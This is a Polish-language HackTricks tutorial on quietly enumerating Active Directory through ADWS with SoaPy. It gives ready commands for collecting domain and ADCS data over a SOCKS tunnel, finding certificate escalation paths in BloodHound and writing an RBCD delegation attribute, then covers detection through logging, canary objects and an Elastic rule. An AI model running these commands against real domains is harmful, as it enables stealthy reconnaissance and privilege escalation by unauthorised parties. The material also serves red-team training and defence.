Enumeracja i cicha kolekcja Active Directory Web Services (ADWS)
Reading time: 5 minutes
tip
Ucz się i ćwicz Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Ucz się i ćwicz Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Wsparcie dla HackTricks
- Sprawdź plany subskrypcyjne!
- Dołącz do 💬 grupy Discord lub grupy telegramowej lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Dziel się trikami hackingowymi, przesyłając PR-y do HackTricks i HackTricks Cloud repozytoriów na githubie.
Czym jest ADWS?
Active Directory Web Services (ADWS) jest włączone domyślnie na każdym kontrolerze domeny od Windows Server 2008 R2 i nasłuchuje na TCP 9389. Mimo nazwy, nie jest zaangażowane HTTP. Zamiast tego, usługa udostępnia dane w stylu LDAP przez zestaw własnych protokołów ramkowych .NET:
- MC-NBFX → MC-NBFSE → MS-NNS → MC-NMF
Ponieważ ruch jest enkapsulowany w tych binarnych ramach SOAP i podróżuje przez rzadko używany port, enumeracja przez ADWS jest znacznie mniej prawdopodobna do inspekcji, filtrowania lub podpisywania niż klasyczny ruch LDAP/389 i 636. Dla operatorów oznacza to:
- Cichsze rozpoznanie – zespoły niebieskie często koncentrują się na zapytaniach LDAP.
- Wolność zbierania danych z nie-Windowsowych hostów (Linux, macOS) przez tunelowanie 9389/TCP przez proxy SOCKS.
- Te same dane, które można uzyskać przez LDAP (użytkownicy, grupy, ACL, schemat itp.) oraz możliwość wykonywania zapisów (np.
msDs-AllowedToActOnBehalfOfOtherIdentity
dla RBCD).
UWAGA: ADWS jest również używane przez wiele narzędzi GUI/PowerShell RSAT, więc ruch może się mieszać z legalną aktywnością administratora.
SoaPy – Nattywny klient Python
SoaPy jest pełną re-implementacją stosu protokołów ADWS w czystym Pythonie. Tworzy ramki NBFX/NBFSE/NNS/NMF bajt po bajcie, umożliwiając zbieranie danych z systemów podobnych do Unix bez dotykania środowiska uruchomieniowego .NET.
Kluczowe cechy
- Obsługuje proxy przez SOCKS (przydatne z implantami C2).
- Szczegółowe filtry wyszukiwania identyczne do LDAP
-q '(objectClass=user)'
. - Opcjonalne operacje zapisów (
--set
/--delete
). - Tryb wyjścia BOFHound do bezpośredniego wczytywania do BloodHound.
- Flaga
--parse
do upiększania znaczników czasowych /userAccountControl
, gdy wymagana jest czytelność dla ludzi.
Instalacja (host operatora)
python3 -m pip install soapy-adws # or git clone && pip install -r requirements.txt
Stealth AD Collection Workflow
Poniższy workflow pokazuje, jak enumerować obiekty domeny i ADCS przez ADWS, konwertować je na JSON BloodHound i szukać ścieżek ataku opartych na certyfikatach – wszystko z systemu Linux:
-
Tuneluj 9389/TCP z sieci docelowej do swojego komputera (np. za pomocą Chisel, Meterpreter, SSH dynamic port-forward itp.). Eksportuj
export HTTPS_PROXY=socks5://127.0.0.1:1080
lub użyj--proxyHost/--proxyPort
SoaPy. -
Zbierz obiekt głównej domeny:
soapy ludus.domain/jdoe:'P@ssw0rd'@10.2.10.10 \
-q '(objectClass=domain)' \
| tee data/domain.log
- Zbierz obiekty związane z ADCS z NC konfiguracji:
soapy ludus.domain/jdoe:'P@ssw0rd'@10.2.10.10 \
-dn 'CN=Configuration,DC=ludus,DC=domain' \
-q '(|(objectClass=pkiCertificateTemplate)(objectClass=CertificationAuthority) \\
(objectClass=pkiEnrollmentService)(objectClass=msPKI-Enterprise-Oid))' \
| tee data/adcs.log
- Konwertuj na BloodHound:
bofhound -i data --zip # produces BloodHound.zip
- Prześlij ZIP w interfejsie BloodHound i uruchom zapytania cypher, takie jak
MATCH (u:User)-[:Can_Enroll*1..]->(c:CertTemplate) RETURN u,c
, aby ujawnić ścieżki eskalacji certyfikatów (ESC1, ESC8 itd.).
Pisanie msDs-AllowedToActOnBehalfOfOtherIdentity
(RBCD)
soapy ludus.domain/jdoe:'P@ssw0rd'@dc.ludus.domain \
--set 'CN=Victim,OU=Servers,DC=ludus,DC=domain' \
msDs-AllowedToActOnBehalfOfOtherIdentity 'B:32:01....'
Połącz to z s4u2proxy
/Rubeus /getticket
dla pełnego Resource-Based Constrained Delegation łańcucha.
Wykrywanie i Wzmacnianie
Szczegółowe logowanie ADDS
Włącz następujące klucze rejestru na kontrolerach domeny, aby ujawnić kosztowne / nieefektywne wyszukiwania pochodzące z ADWS (i LDAP):
New-ItemProperty -Path 'HKLM:\SYSTEM\CurrentControlSet\Services\NTDS\Diagnostics' -Name '15 Field Engineering' -Value 5 -Type DWORD
New-ItemProperty -Path 'HKLM:\SYSTEM\CurrentControlSet\Services\NTDS\Parameters' -Name 'Expensive Search Results Threshold' -Value 1 -Type DWORD
New-ItemProperty -Path 'HKLM:\SYSTEM\CurrentControlSet\Services\NTDS\Parameters' -Name 'Search Time Threshold (msecs)' -Value 0 -Type DWORD
Wydarzenia będą się pojawiać pod Directory-Service z pełnym filtrem LDAP, nawet gdy zapytanie dotarło przez ADWS.
Obiekty SACL Canary
- Utwórz obiekt zastępczy (np. wyłączony użytkownik
CanaryUser
). - Dodaj Audit ACE dla głównego Everyone, audytowanego na ReadProperty.
- Kiedy atakujący wykonuje
(servicePrincipalName=*)
,(objectClass=user)
itd., DC emituje Event 4662, który zawiera prawdziwy SID użytkownika – nawet gdy żądanie jest proxy lub pochodzi z ADWS.
Przykład wstępnie zbudowanej reguły Elastic:
(event.code:4662 and not user.id:"S-1-5-18") and winlog.event_data.AccessMask:"0x10"
Podsumowanie narzędzi
Cel | Narzędzie | Uwagi |
---|---|---|
Enumeracja ADWS | SoaPy | Python, SOCKS, odczyt/zapis |
Wczytywanie BloodHound | BOFHound | Konwertuje logi SoaPy/ldapsearch |
Kompromitacja certyfikatu | Certipy | Może być proxy przez ten sam SOCKS |
Odniesienia
- SpecterOps – Make Sure to Use SOAP(y) – An Operators Guide to Stealthy AD Collection Using ADWS
- SoaPy GitHub
- BOFHound GitHub
- Microsoft – MC-NBFX, MC-NBFSE, MS-NNS, MC-NMF specifications
tip
Ucz się i ćwicz Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Ucz się i ćwicz Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Wsparcie dla HackTricks
- Sprawdź plany subskrypcyjne!
- Dołącz do 💬 grupy Discord lub grupy telegramowej lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Dziel się trikami hackingowymi, przesyłając PR-y do HackTricks i HackTricks Cloud repozytoriów na githubie.